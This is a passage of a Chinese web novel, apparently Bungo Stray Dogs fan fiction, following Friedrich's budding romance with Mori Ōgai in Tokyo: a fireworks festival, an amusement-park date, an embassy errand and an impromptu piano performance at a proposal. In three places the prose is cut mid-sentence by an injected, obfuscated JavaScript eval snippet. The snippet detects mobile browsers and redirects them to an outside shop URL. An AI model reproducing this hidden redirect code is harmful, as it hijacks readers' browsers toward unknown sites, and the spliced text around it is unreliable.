作为一个从小到大听话又懂事的好孩子,他不像其他同龄人那样,从小学时就开始和女同学谈恋爱,事实上,不论是上辈子还是这辈子,他的学生时代都不存在半点暧昧的恋爱气息,哪怕德国父母其实并不介意孩子在校园谈恋爱,弗里德里希也从来没有恋爱的心思。 向他告白的人其实并不少,德国人告白时不会拐弯抹角,一般都是直接把他堵在角落里,红着脸说:“我喜欢你,你可以和我在一起吗?” 而他通常会这么回应—— 对着一个明显对自己抱有爱慕的人,他就像对普通同学那样说:“我也喜欢你,你是个不错的人。” 这话往往会让对方知难而退,毕竟弗里德里希就是这样一个能不带任何旖旎意味说喜欢的人,他喜欢猫,喜欢狗,喜欢一切美好的事物,如果一个人对他毫不掩饰地表达了喜爱,即使他不喜欢,他通常也会说喜欢。 也有人会说得更加直白些。 “我爱你。” 这种情况,弗里德里希就不好搪塞过去了。爱与喜欢是不同的意思,他不可能同样回一句,我爱你。 他不喜欢下人面子,即使是在这样的事情上。所以对于一些不好回应的事,他通常会装作什么也没有发生,微笑着点了点头,然后若无其事地离去,这样一来就没人会因此而受伤。 …… 但是Mori Rintarō好像又不一样。 说不清具体是因为什么,可能是因为对方清俊的长相,也可能是因为礼貌而克制的谈吐,总之弗里德里希对他挺有好感的,不过在这次旅行之前,这种好感仅限于朋友之间。 他或许隐隐察觉到了对方的心思,对方当然也是对他抱有好感的,但那种好感似乎与他的那种朋友般的好感不同,他发现对方或许是喜欢他的——而且是恋人般的喜欢,不过他没有戳破的理由。 …… 来到东京后,马上就是一场花火大会。 他对东京的路况其实不太熟悉,但没有让导游帮带路,自己去买了一件合适的男士浴衣,然后就期待地出发了。 他独自一人去往花火大会,现场有很多很多的情侣和夫妻,大家似乎都是结伴而行的,像他这样一个人并不多,不过也没什么不好的。 “……这有什么难为情的?”弗里德里希想起了Mori Rintarō之前说一个人参加这种活动有点难为情的话,决定等会儿见面要嘲笑一下对方。 他来到了说好的地方,在树下只坐了几分钟,就等来了那个身影。 不过对方好像没有注意到他,一直摆弄着相机,好像在寻找合适的机位,而他就在附近的长椅上坐着,悄悄打量着对方。 他等着对方什么时候发现,没多久,对方似乎注意到了他,往他这边看了几眼,他还以为对方发现了,赶忙别过头,不让对方看到他的正脸。 接着,不远处的湖上开始放弃了漂亮的大型烟花,他没有回头去看,不过凭着身后传来的骤然亮起的光,也知道花火大会的重头戏已经开始了。 Mori Rintarō也终于认出他了。 “……快过来!“他朝对方招着手,对方呆愣了一两秒,随即快步走过来,不自觉地微笑起来。 他让对方扶他一下,本意是想借着对方的身体站起来,因为他腿还有些使不上力,但对方理解的似乎和他想的不一样,险些将他直接扛了起来。 ——这家伙力气真大,他心想。 …… 他说,不是这种扶。 他没想到对方下一句会出格地问:“那是要抱吗?”,也没想到自己会在那句“今晚月色真美”之后脱口而出:“这简直可以竞选世界上最没新意的告白方式了。” 他没有想到一次旅行会变成一场恋爱。 或许感情本就是这么意外的事,只因为气氛恰好,只因为那告白的话语太过热烈,太过青涩,他也头脑一热,不知怎的就答应了。 现在好了,因为一时不清醒,他明天还要赴一场约会,而经验论的他对此毫无经验。 他要穿什么衣服?戴哪一顶帽子?或者是不戴帽子? 这几个问题使他纠结了很久,无果之下,他打开了手机,慢无目的地翻着通讯录,目光忽然集中在了某个人身上。 他想着对方应该已经睡了,也不知怎么想的,向对方发送了一条信息。 【睡了吗?】 信息发出去不到一秒钟,他就想撤回了,但对方的回复却比他的手速更快: 【还没有。我在洗澡】 这话给弗里德里希看愣了,这家伙洗澡是怎么回信息的? 【你难道洗一半跑出来回信息吗?】 【不是的,我太兴奋了,进浴室的时候忘记把手机放外面了】 【兴奋?】 【原谅我,但是不管是谁,爱慕对象某天真的成了恋人,他都会兴奋的睡不着觉的】 弗里德里希看的嘴角微微上扬: 【难道不是暗恋对象吗?】 对方大大方方地承认了: 【唔,确实,暗恋了快10年的那种】 这么久?弗里德里希有点不信: 【真的吗?】 【真的】 【不信】 【骗你是小狗】 【……】 对方以为他不信,过了一会儿,发了一张图片过来。似乎是一张泛黄的纸,看起来有些年头了,上面写着十年前的日期和某人的少年心事,应该是某人的日记: 【天气晴。路上碰见歌德学长之后,心情也像天气一样美丽了。】 “…………” 喂喂,来真的啊? 居然真的喜欢他这么久吗?他还以为是油嘴滑舌呢。 他脸上泛红,说的话却不让人察觉端倪,依旧冷静: 【你还挺长情的嘛。】 对方: 【只是对你。】 “…………” 这家伙怎么这么会说话?感觉像是有很多前任的样子。 对方像是猜到了他的想法: 【有时候会在脑子里想象如果有一天真的抱得美人归了会怎样,很早以前就设想过这样的对话,现在终于有机会说出口了】 他过了很久都没回,对方也等了很久,大概以为他熬不住睡着了,就说: 【晚安,睡个好觉。】 “…………” 临睡之时,脑子里总会忍不住放起小电影。他又想起了Mori Rintarō说:“我喜欢你!全世界有几十亿个人,但我只喜欢你!” 他猛地把脑袋埋进被子里,然后,又想起了对方刚刚短信说的:“(长情)只是对你。” “…………” 好烦啊。他想睡觉,不要再想这些了。 弗里德里希把手机塞进枕头下面,直挺挺地躺在床上,盯着酒店的天花板,脑子里乱七八糟的,他不想去想那个人,可最后浮现在他脑子里的却是Mori Rintarō的脸,还有那双紫色的眼眸,对方看着他的时候,眼神似乎总是专注的,眼里好像只有他一个人。 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615581|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不承认,这份独一无二的专注与有眼睛就能看见的真诚真的打动他了,但他对他绝非怜悯和施舍,只是在那么一瞬间,那样热烈的爱意使他这样泡在爱里长大的人也心尖一动。 弗里德里希,正式陷入热恋。 ———— 虽然前一日夜里因为想得太多导致半宿没睡,弗里德里希次日睡醒的时候还是精神抖擞。那种感觉像是在海德堡时晚上通宵玩街机,等到天蒙蒙亮时还精神焕发,可一到下午就开始犯困了,好在现在他还是清醒的,不至于错过约会。 他们约在了一个游乐园,这是这个年代的情侣常见的约会地点,人们相信浪漫的传说,据说在摩天轮到达顶点时接吻就能永远在一起。 游乐园里很热闹,弗里德里希喜欢这样的氛围,他与森鸥外会和之后,就看中了一个冰淇淋的摊子,但摊前有超多人排队,几乎排成了一条长龙。 弗里德里希盯着摊主递给客人的冰淇淋,森鸥外也发现了,看见排成长龙的队伍,倒也没有半点意见,只对弗里德里希说:“你在这里等一等。” 说着,他就要去排队。排队的地方在太阳底下,弗里德里希就叫住了他,摘下自己的遮阳帽,给森鸥外戴上,森鸥外脸上带着迷幻的微笑,心甘情愿地排队去了。 等森鸥外回来,弗里德里希正站在阴凉处等他,闲着无聊还和路边的小男孩说话,不知道聊了些什么,笑得挺开心的。 他有些好奇他们在说什么,一问,弗里德里希就说:“那个小朋友夸我可爱,我就问‘难道不帅气吗?’,他就说我可爱又帅气。” 那句“可爱”,他用了日语的卡哇伊。 森鸥外状似思考了一会儿,仿佛要说出什么至理名言,结果却说:“我完全认可他的话。” 弗里德里希觉得自己被耍了,又想笑又气,就推了对方一把,对方就笑,站着由他推,等他推完一把抓住了他的手腕,拉着他去别的游乐项目玩。 他们玩了一些大差不差的普通项目,然后来到了过山车前。弗里德里希站在介绍过山车项目的立牌前面,念上面的字: “超级刺激的过山车!全长超过1.5km,中间有一段是完全黑暗的山洞部分,超级惊险的哦!” 弗里德里希不太恐高,不知道森鸥外是否恐高,见对方面色如常,就兴冲冲地去报了名,没多久,他们并排坐上了过山车。 虽然不恐高,过山车到达最高点往下之后,弗里德里希还是有些紧张,尤其当身后的人都在尖叫的时候,他就更紧张了。但这时忽然有人握住了他的手,一扭头看见森鸥外若无其事的侧脸,那种紧张的感觉就消失得无影无踪了,取而代之的是想笑。 最高端的时候,呼啸的风声和尖叫的人声混合起来,在耳边响个不停,不过等到过山车进入那段完全黑暗的山洞部分时,就没有人再叫了,他们开始窃窃私语,说话的时候,快速穿行的风将衣角吹得猎猎作响,很有氛围感。 一片漆黑的时候,除了视觉以外的感官就会变得很敏.感,弗里德里希很清楚地感觉到那只手和他十指相扣,一种在公共场合亲近的感觉让他有些无所适从,不过很快就适应了,趁着这一段黑暗还没过去,他也凑过去对森鸥外说了一句毫无意义的话: “你觉得我是谁?” 他连声音都没变,但他就是这么问了,对方肯定知道他是谁。而对方也没有敷衍这个没什么意义的问题,语气里带着笑意,慢悠悠地说: “一个可爱的人。”对方顿了顿,又补充了一句,“或许全世界都找不到第二个这么可爱的人了。” 弗里德里希听得耳朵发热,闻言没有再说话,却听耳边的人轻笑一声,不再说什么,却格外意味深长,让人脸皮发烫。 10. 曲奇 下了过山车之后,弗里德里希他们还玩了很多项目,中途还吃了顿饭,一直到晚上,才将大部分项目游玩完毕,不过还有最后一个等着他们。 这时天已经黑了,乐园到处挂着五颜六色的霓虹灯,人也比白天时少了些,他们正往摩天轮的方向走,这就是最后一个项目了。 弗里德里希还是第一次坐摩天轮,事实上,今天游玩的大多数项目他都是第一次玩,他其实不太熟悉游乐园的规则,也没有提前了解,因此路线什么的几乎都是森鸥外规划的,要玩某个项目的时候,也是对方拿着他们两人的门票去核销,他就找个位置坐下等,对方很快就会回来。 这回也是一样,森鸥外很快搞定了所有事。他还说:“十五分钟后会有烟花。我算了一下,如果我们坐第四十二节轿厢,等我们到最顶端时,刚好能看到烟花。” 弗里德里希:“太棒了!” 他拉着他一起上了摩天轮的第四十二节轿厢,夜里静静的,登顶还需要一段时间,弗里德里希就靠着窗,看着外面的夜空。 这个时候城市里的星星还很明显,嵌在夜幕里一闪一闪的,即使是近视者也能看清。弗兰德里希的视角随着摩天轮逐渐升高,不由得想到了某个早有耳闻的传说,据说一起坐摩天轮的情侣早晚会分手,但若是在摩天轮到达最高点时接吻,就能打破分手的魔咒。 但这完全是假的吧。 弗里德里希心想,视线从夜空移开,看向了同样在看风景的森鸥外。对方似乎没发现他在看他,这让他有种偷看的微妙感觉,只看了一眼就赶紧移开视线,但过了几秒,又忍不住悄悄看了过去——而对方还在看风景,仿佛完全没有注意到他在看他。 这么专心吗? 弗里德里希盯着对方的脸,用目光描摹着对方的五官,除了自己,他还没这么仔细地盯着一个人看过呢。 ……还挺好看的。 弗里德里希别过脸去,对着窗口发呆。他以为这样的安静还要持续一会儿,没想到只过了十几秒,对方忽然问:“在想什么?” 他盯着对方说话时的嘴唇看,发现这人的嘴唇挺薄,过了一会儿才回答:“秘密。” 对方也不追问,反倒让弗里德里希有些纳闷地问:“你不问吗?” 对方说:“我在猜。再给我几秒钟。” 弗里德里希有些好奇对方会猜出个什么,还真开始等了。与此同时,他们就要到最顶上了,弗里德里希想看看最高端的风景,于是又看向了窗外,直到对方说:“我想到了。” 他回过头,下一刻,有什么柔软的东西覆在了他的唇上,他忍不住睁大眼,一种触电般的感觉传遍全身,恰巧烟花升空的声音在耳畔传来,除此之外,他只能听到自己心跳的声音。 一下,两下,心跳得好快,原来人的心可以跳得这么快吗? 就因为一个突如其来的亲吻? 他不知道自己的脸有多红。白皙的皮肤骤然飞起一团红霞,靛蓝色的眼眸湿漉漉的,落在另一个人眼里,真是难以言喻的……可爱。 森鸥外说:“嗯,我想到了。” 弗兰德里希扭过脸:“……什么?” “我想,你刚刚在想的那个秘密……”对方笑吟吟地说,“应该是想亲我吧。” 弗里德里希憋了半天,就憋出来一句:“……我要告你造谣了。” …… 弗里德里希发现今天真的很热。尤其是在坐摩天轮的时候,热得不可思议。他摸了一下自己发烫的脸,认为一定是这燥热的天气害的。 森鸥外似乎也觉得热。他脱了一件外套,一只手揽着两件外套——其中一件是弗里德里希的。 分别时,他把外套还给弗里德里希,不过他好像忘了那顶帽子。 “请,我亲爱的弗里德里希先生。”他将外套递过去,“真遗憾现在没下雨。” “因为你的伞白带了?”弗里德里希接了一句。 “不仅如此。”对方叹息着说,“我还丧失了一次执伞同行的机会。” “……”弗里德里希努力压住上扬的嘴角,换了个让他不那么不好意思的话题,“我发现你跟以前有点不一样了。” 他总觉得今天一直在被撩,是错觉吗? “……”对方似乎笑了一下,“因为我发现这样会让你更喜欢我。” “…………”弗里德里希装作镇定,“……我可没说更喜欢你了。” “没关系,我喜欢你就够了。” “…………” 弗里德里希已经彻底被对方的直球弄得晕头转向了。他胡乱点了点头,含糊地说了句“再见”,闷着头往前走,等到差不多走出对方的视野范围了,终于忍不住捂住通红的脸,发出含糊不清的气音,说不清是埋怨,还是别的什么: “……简直……油嘴滑舌……” ———— 叮。 回到酒店后,弗里德里希还没缓过来,手机就一直发出短信提示声,他打开手机,发现是妈妈发来的短信: 【你本茨阿姨的曲奇送过去了吗?】 ……忘了。 弗里德里希这才想起来这回事,通过他妈妈牵线,本茨阿姨托他帮忙带曲奇给驻日本不得回家的本茨叔叔,其实早在昨天就该去的,但他不小心忘记了。 他趴在床上,一下一下地按按键,慢慢打字: 【明天就去。】 …… 次日,弗里德里希被闹钟吵醒,因为前一天玩得太嗨,导致有点起不来。他在床上挣扎了好一会儿,才说服自己放弃回笼觉的打算,打着哈欠洗漱完,出发去德国大使馆了。 他懒得查电车线路,直接打了车。在出租车上等待去往目的地时,他隐约想起了日本出租车很贵的传闻,不过因为他没有特意了解过德国马克和日元的汇率,对出租车的费用没什么概念,好奇去查了一下,发现需要十几公里的路程需要好几千日元,但换算过来也就六十多马克,即使费用从他自个儿腰包里出,也没有压力,说到底打车再贵也不可能贵到哪去。 这时正是早晨,某人给他发了短信: 【早】 短信还附带了一张照片,点开一看就是东京大学的校门。 【这么早就有课吗?】 对方回得挺快: 【不是课,就是一场考试。我申请了免听】 弗里德里希一边回信息,一边下了车,因为分心,差点忘了付钱,赶紧跟司机道歉,顺便用现金支付。 …… 德国大使馆修得气势恢宏,弗里德里希看到有人来这里上班,都顶着一张典型的日耳曼人面孔,而且不苟言笑,十分严肃——他十分理解其他人对德国人的刻板印象,他认识的许多德国人就是这样的。 他用德语告诉前台,他是来找莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615582|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昂哈德·法尔克·本茨先生的,那是本茨叔叔的全名。 前台是个棕发男孩,脸颊上有淡淡的雀斑,看起来很年轻。作为负责咨询的前台,他认识大使馆的每一个人,当然也包括本茨。 他将本茨的办公室位置告诉弗里德里希,还笑着说:“本茨先生前天就跟我们说,近段时间可能会有一个漂亮的小伙子来找他,让我们直接把你引到办公室里去。” 弗里德里希也不见外,并不急着去找本茨,于是跟前台聊了几句:“本辞叔叔就这么说我?他难道不应该说——一个帅气的小伙子要来找他吗?” “是的,”对方笑着说,“他也跟我们说你很帅气。” 弗里德里希这下满意了,丢下一句:“谢谢你,同样帅气的男孩!” 然后就跑去找本茨了,他一路上看到好些穿着西装的人抱着文件走来走去,他们大多是行政技术人员,还有一部分像前台那样的服务人员。除此之外,大使馆还有有一些外交官,这会儿应该在办公室里处理工作,就像本茨叔叔那样,那些行政人员就是在为他们送文件。 弗里德里希顺利找到了办公室门口,看了一下办公室上的门牌,写了本茨的名字,这才确认没找错地方,敲了一下门,门里就传来一道低沉的男音: “进来。” “好的。” 弗里德里希提着曲奇进去了。他一开始还有些拘谨,因为很久没见过这位叔叔了,但是一看到对方的脸,立刻就被勾起了回忆,他小时候只去过对方家里一次,那一次很让他印象深刻。 他们那时不光只拍了一张合照,弗里德里希还跟对方家里的哥哥姐姐下了会儿国际象棋,叔叔和阿姨都对他很不错,表面上都不苟言笑,实际上都会和蔼地摸他的头。 他还记得,当时他说阿姨烤的曲奇好吃,阿姨板着张脸,又去厨房烤了好多,让他走的时候一起带走。以至于弗里德里希一度觉得,会摸摸头的人通常都很善良,即使他们不爱笑,但摸头已经足以表达善意了。 叔叔这些年的变化并不大,不像他爸爸,年轻时高高瘦瘦,老了就发福了,叔叔却维持着年轻时的体态,只是因为年纪大了,身高缩水了一点,头发也白了一些,除此之外,几乎跟弗里德里希十多年前那次见面时一样。 叔叔并不是什么健谈的人,见到他之后也没有主动打招呼,那双鹰一样的灰色眼睛看了他一眼,就接过了他手里的曲奇,打开一看就发现了不对: “这份是给你的。”他从装曲奇的大盒子里找出了半盒包装的更加精致的,一把扔到弗里德里希手里。 弗里德里希还没有打开看过,他还以为都是给叔叔的呢,没想到阿姨也给他准备了一份。 “你小时候挺喜欢这个的。”对方冷不丁说,又补充了一句,“你阿姨提醒我的,不然我都忘了。” “咦?”弗里德里希有些惊讶,没想到阿姨还记得这个,随即又有点开心,“其实我也记得。阿姨当初还让我带了好多曲奇走呢。碎巧克力曲奇是我小时候最喜欢的零食。” 本茨叔叔似乎笑了一下。不过那笑容消失得太快,弗里德里希没怎么看清。 后来有人过来送文件,弗里德里希见对方在忙,就自觉走了。他走出大使馆时,还有人追上来,给了他一张名片。 “我是本茨先生的秘书。”对方说,“本茨先生让我给你送名片,有事可以随时打电话。” 11. 钢琴 送完曲奇之后,弗里德里希回到了酒店。他刚到东京时的本地导游还在这儿,父母应该提前帮他付了钱,所以对方一直等着为他服务。 “哇,看来您真的很喜欢这副耳机,这几天一直戴着它。”对方操着一口蹩脚的德语,笑容满面地说。 弗里德里希摸了一下耳朵,对方将助听器当成耳机了。看来当初选择用耳机样式的助听器是个不错的选择,这样别人就看不出来他耳朵有问题了。 “你的德语进步好大。”弗里德里希巧妙地避开了耳机的话题,“太不可思议了,你前两天还只会写,不会说呢。” “谢谢您,看来我的努力没有白费。” …… 在弗里德里希看不见的地方,导游接了一个国外号码的电话,对方似乎在问某人的近况,导游就一五一十地交代: “前两天去参加了花火大会,还和人一起去了游乐园。我发现路上有渣滓盘踞,于是按照您的命令把风险提前掐死在了摇篮里。” “嗯。”对方淡淡地说,“对了,去查一个人。” “您说。” “……”对方报了一个名字,“就是跟他一起的那个,他们在一起了。把那小子底细都查清楚,尤其是私生活。” …… 在东京生活了一段时间之后,弗里德里希发现不会日语还是有点不方便的,于是顺理成章地开始学日语。 他的第一个日语老师是他的男朋友,男朋友抽空来找他,手把手从零教他日语,一开始还有点不好意思,这家伙太会撩人了。还好他慢慢对男朋友动不动的撩人话语产生了免疫力,不至于被对方随便一句话搞得面红耳赤。 弗里德里希的记忆力不错,尤其是那些需要死记硬背的东西,他往往只需要别人一半的时间就能倒背如流,这也是他擅长历史这种文科专业的原因之一。 他很快就背下了日语基础的五十音图,能背能读,简直是老师眼中的优等生。 如果老师不是森鸥外,基础日语教学一定很快就结束了,弗里德里希很快就能融会贯通,但恰恰就是森鸥外,他不太想这么快结束,那就像急着结束工作任务一样。 “这个读‘u’,跟着我念。”森鸥外指着五十音图中的某个音。 日语中的“u”和德语中的“u”读音是不一样的,很多德国人刚开始都会弄错,弗里德里希倒是分得清,但他忽然有了个鬼点子,于是故意读错了,而且不论森鸥外怎么教,他都坚持念错的读音,简直冥顽不灵。 而森鸥外却不生气,很耐心地教他,弗里德里希一开始能控制表情不变,后来就忍不住泄露出一丝笑意,被森鸥外捕捉到了。 森鸥外仿佛这时才发觉居然被耍了,扑过来,故作生气地说:“我现在很需要一根教鞭。” 弗里德里希用手抵住对方的胸口:“你要打我手心吗?” 对方磨了磨牙:“未尝不可。” 弗里德里希戏精上身,捂住胸口:“你给我等着,我要报警了。体罚可是犯法的,走开,我要找律师帮我辩护!” 对方也配合他演戏,摆出一副凶神恶煞的样子,跟弗里德里希打闹,直到弗里德里希终于忍不住笑出了声,这场闹剧才算结束。 弗里德里希笑得不行,还恶人先告状:“森老师,你有点太小心眼了。” 对方的嘴角忍不住上扬了一丁点,就是那么一丁点,就被弗里德里希精准发现了,弗里德里希严肃指出:“森老师,就算我现在看起来有点衣衫不整,也不是你嘲笑学生的理由吧。” 森鸥外:“哦?这么说来,身为老师的我好像确实不该这么幸灾乐祸。” 弗里德里希:咦?这是认输了? 却见对方眼中寒芒一闪,说:“那我现在不是老师了。” “你干嘛!”弗里德里希没反应过来,一下子被扑倒了,对方倒也没做什么出格的事,就是一直挠他痒痒,弗里德里希被挠的忍不住笑,差点笑力竭了,对方才放过他。 “……” 不知不觉间,已经快到晚上了。 弗里德里希跟森鸥外商量了一会儿,决定去附近一家餐厅吃晚饭。 这里是东京市中心,开在这儿的餐厅不多,但个个装潢都不错,还有个半层的小平台,上面摆着一架崭新的钢琴,牌子还挺熟悉,弗里德里希当年读的中学的所有教学钢琴都是那个牌子的,但是过了这么多年,同一个品牌也迭代升级了,外观上看起来更高级了。 不过这钢琴似乎也只是装饰,没有人弹。 弗里德里希和森鸥外找了个僻静的桌子坐下,点了酒水和饮料,正当两人商量点什么菜的时候,有个陌生的西装男人走进了餐厅,对方和服务员说了些什么,神情紧张而期待,好像在筹备什么重要的事情。 弗里德里希戳了一下森鸥外,附在对方耳边说:“你看。” 森鸥外看了一眼那个男人,没觉出什么值得关注的地方。 “什么?” “你看不出来吗?”弗里德里希说,“他看起来要求婚了,我看到戒指盒了。” 森鸥外一向不怎么在意别人的闲事,不过看弗里德里希这么关注,还是多看了几眼。 ——嗯,没他帅。 森鸥外得出这个结论,随即移开了视线。 他们点的菜很快端了上来,其中有一道白灼虾。弗里德里希戴上手套准备剥虾,森鸥外却说:“我来剥吧。你指甲太短,不好剥。” 弗里德里希从善如流地摘下手套,等着森鸥外投喂。他确实不留指甲,这是从中学养成的习惯,因为长指甲会影响钢琴演奏,即使现在不怎么弹了,也还是不习惯留长指甲,一直都将指甲修剪得与手指齐平。 森鸥外一边剥,弗里德里希一边吃,还不忘关注旁边那个求婚的男人。 男人跟服务员说了很多话,看得出来对求婚一事很看中。他们说的是日语,弗里德里希只听得懂几个词,就让森鸥外帮他翻译,森鸥外无奈地看了他一眼,在他期待的目光下,只好同意了。 “他说,有没有钢琴师?他想点一首适合放在求婚时刻的浪漫的歌。” “服务员怎么说?” “没有。唯一的钢琴师请假了。” “然后呢?” “那个男人问他能不能找外面的钢琴师弹这里的钢琴。他可以付钱。” “真好。听上去音乐不会缺席了。” 那个男人又出去了,应该是去找钢琴师了。 过了一会儿,弗里德里希已经吃了半盘虾,男人又回来了,不过看他的表情,不像是找到了合适的钢琴师的样子。对方又跟服务员说了些什么,弗里德里希就拉了一下森鸥外的袖子,示意森鸥外帮忙翻译。 “……”森鸥外叹了一口气,“他说,没找到钢琴师。东京没多少学钢琴的。就算有,他们也不接受没有预约的钢琴演奏。” 弗里德里希:“……好惨。” 他看了那架钢琴好几眼,犹豫了一下,最终还是没有动作。他倒是会弹钢琴,但人家会放心让他一个陌生人弹吗? “你想帮忙吗?”森鸥外看出了他的想法。 “他们恐怕不会接受我的好意。”弗里德里希说。 他们聊天一直都是用的德语,东京很少有人懂德语,因此他们并没有特意压低声音。 没想到的是,那个男人似乎听到了。弗里德里希看着对方朝他们走来,心里咯噔一下:完了,偷听被发现了。 对方组织了一下语言,说:“抱歉,我没有责怪您的意思。” 对方用的是德语。弗里德里希的表情顿时僵住了,偷听被逮住也太尴尬了吧! “嗯……我想问一下,您是否懂钢琴呢?”出乎意料,对方没有兴师问罪的意思,反倒态度谦卑,用商量的语气说,“我的意思是,我正要和我的爱人求婚。我找了好几家餐厅,只有这家是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615583|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有钢琴的,但不巧的是,今天钢琴师请假了,因为今天是我爱人的生日,我想给她一个惊喜,因此不能更换日期。所以,您如果会钢琴的话,能帮帮忙吗?” “……”弗里德里希愣了愣,看了一眼森鸥外,对方恰好也在看他,似乎在等他决定。他犹豫了一下,一时之间竟有些怀疑自己许久没碰过钢琴的双手,虽然他以前很擅长钢琴,但现在就说不准了。 最终,他说:“我很久没弹了,不过可以试一试。” 他看向服务员,问:“方便让我试试吗?” 服务员叫来了主管,主管想也没想,一口同意了。 弗里德里希坐上了钢琴凳,旁边的谱架上摆着一本曲谱。他翻了一下目录,找到了一首合适的曲子。 他以为自己还需要一点时间重新熟悉,但实际上,他的手指还记得曾经按下了每一个琴键。手指一落在琴键上,就有无形的东西在牵引着他继续弹,每一个音、每一次按下琴键,似乎都是再熟悉不过的事,他好像回到了中学时代,钢琴是他是最引以为傲的事物,他从不会在钢琴上出错,每一次参加钢琴比赛,都会把比赛变成他一个人的秀场。 “……” 一曲结束,那个男人立刻鼓起了掌,高兴地对弗里德里希说:“您弹得真好!” 弗里德里希摆了摆手,腼腆地说:“谢谢。” 森鸥外也在看着他,他就对着对方眨了眨眼,用眼神示意对方先吃,他帮完忙就回来。 没多久,有个女人进来了,跟前面那个男人坐在了同一张桌子上。女人并不是那种大和抚子,因为那是个白人女性,说的还是德语——难怪那个男人会懂德语,他的爱人就是德国人。 还没到求婚的时刻,弗里德里希就弹了首舒缓的曲子,男人和女人开始聊天,聊着聊着,男人突然让女人闭上眼睛,他要送给对方一个特别的生日礼物。 女人闭上了眼,男人取出戒指盒,为女人戴上了戒指,接着,原本舒缓的曲子变了,变得轻快而充满惊喜,就像平淡生活中爱人准备的惊喜礼物,让人无比喜悦。 “莱尼娅,你愿意和我结婚吗?” 女人从闭上眼那一刻就隐隐猜到了会发生什么,但手指戴上戒指的那一刻,她还是惊讶地双手捂住了嘴,开心地说不出什么复杂的话,只会一个劲地说:“噢,这太……太让人高兴了!” 她感动得落泪,与爱人拥抱在一起。几个服务员也特别应景地在旁边放了几个小烟花,彩带都掉到了地上,现场看起来就像是一场由许多人准备的惊喜,热闹,让人情不自禁地微笑。 结果毫无疑问求婚成功了,当事人都非常高兴,尤其是那个男人,简直笑得像个傻子,因为太过激动,血液都涌到了头上,以至于脸颊都红透了。 “……” 弗里德里希功成身退,回去继续就餐。求婚的男人后来还和他留了电话,并且和未婚妻介绍他:“其实今天钢琴师请假了,我本来满心沮丧,以为要在郑重的求婚仪式上损失至关重要的钢琴演奏,但这位好心的先生恰好会弹钢琴,多亏了他,而且他也是德国人,多么美好的巧合!” 未婚妻说:“天哪,谢谢你,你的钢琴弹得太棒了!” 弗里德里希:“不用这么客气。女士,你今天简直容光焕发。” 未婚妻捂住脸,忍不住笑,与未婚夫对视时,都是藏不住的幸福。 …… 相伴离开餐厅时,弗里德里希还回味着刚才的事。 “我觉得我做了件很好的事。”弗里德里希说,“如果是中学的时候,我会跟我认识的所有人炫耀这件事——太酷了,在一个即将求婚的男人找不到合适的钢琴师时,我刚好能顶替钢琴师的任务。或许我应该直接问他需不需要帮助的,如果他不懂德语,那求婚时就要缺少一点仪式感了,那未免太遗憾了。” “确实。”森鸥外不知想到了什么,笑了一下,“你总愿意帮助别人。” 12.发烧 时间过得很快,一眨眼就要九月了。 东京的九月其实还是偏热的,比起八月,气温只降低了一丁点。弗里德里希天生体温偏凉,因此不怎么害怕热天,除非是三四十摄氏度的高温天气,他才会象征性地出一点汗,所以他倒也不认为东京酷暑难耐。 比起他以前常待的法兰克福,东京还是有很大区别的。九月的法兰克福已步入初秋,天气称得上凉爽,而且秋天的枫叶也会变成亮眼的火红色,那里的枫树多是梣叶枫和银叶枫,虽不及北美漫山遍野,公园或街道也随处可见。 说来有趣,他上辈子写作文时常常会这样描写秋天:秋天时,枫树的叶子红了,枫叶落在地上,铺成厚厚的地毯,一眼望去,都是望不到头的红色。 但实际上,他对枫树的了解仅仅来自于书本和人们的口中。他曾住的那个小镇上最多的是桉树。像枫树那样的观赏树是很少见到的,更别提那种满地枫红的风景了。 来到这里之后,他才真正见到了街道上全是枫红色树叶的样子。法兰克福是温带海洋性气候,因此四季分明,每个季节都有自己的特色,这是温海气候的重要特征。 而上辈子生活的小镇应该是亚热带气候,因此四季不分明,季节之间的界限非常模糊,都说冬天雪纷纷,他上辈子活了十几年,却从未见过下雪,连那种落地即化的小雪也没有。 作为小镇做题家的前世,其实并不那么令他怀念,因为太枯燥乏味了,他有过最大的娱乐就是背着父母跑到同学家里看动漫,其中就包括了文豪野犬,那是他最喜欢的动漫,他记得自己那时候特别喜欢中原中也,觉得对方特别酷。 那时他的人生似乎都在为了考上一个好大学而努力,因而失去了一个理应快乐的童年,但就在高考前夕,他猝死了,真是时运不济。 他有时候也会想起前世的父母,前世他也是由养父母抚养长大的,亲生父母将他丢在福利院门口,他在福利院长到两三岁,就被一对没有生育能力的夫妇收养了,他们并不十分爱他,只是希望他成才,成为他们老年的依靠。 